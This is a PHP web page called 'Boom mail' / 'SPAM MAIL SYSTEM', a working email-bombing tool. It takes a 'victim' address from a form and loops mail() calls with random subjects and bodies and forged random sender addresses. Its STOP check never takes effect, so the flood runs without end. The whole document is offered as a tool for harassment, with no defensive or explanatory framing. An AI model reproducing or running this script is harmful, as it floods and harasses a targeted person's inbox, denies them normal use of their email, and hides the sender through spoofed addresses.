Boom mail

<?php

$to = $_POST['victim'];
$i = 0;
?>
<html>
<head>
<meta http-equiv=Content-Language content=vn />
<meta http-equiv=Content-Type content="text/html; charset=utf-8" />
<title>.:: SPAM MAIL SYSTEM ::.</title>
</head>
<body bgcolor="#000000" background="http://tinker.vn/BG.png">
<center>
<font face="Courier New" color="#FFFFFF"><h1>- SPAM MAIL SYSTEM -</h1></font>
<form name="mailer" action="" method="post">
<table  border="2" bordercolor="#FFFFFF" width="35%">
<tr>
<th width="50%" align="center"><font face="Courier New" color="#FFFFFF">Victim</font></th><th width="50%"><input type="text" name="victim" size="30" /></th>
</tr>
<tr>
<th width="50%" align="center"><input type="submit" value="START" name="submit" /></th><th width="50%"><input type="submit" value="STOP" name="stop" /></th>
</tr>
</table>
</form>
<?php
if (isset($_POST['submit']))
{
do
{
mail($to,md5(rand(177, 488))."",md5(rand(477, 888)),"MIME-Version: 1.0" . "\r\n"."Content-type:text/html;charset=utf-8" . "\r\n"."From: ".md5(rand(77, 888))."@".hash('adler32', rand(1, 999)).".com"."\r\n"."Cc: \r\n");
$i++;
echo "<font face=\"Courier New\" color=\"#FFFFFF\">+$i Email...</font> <font face=\"Courier New\" color=\"#00FF00\">OK</font><br/>";
}
while (!isset($stop));
}
?>
</center>
</body>
</html>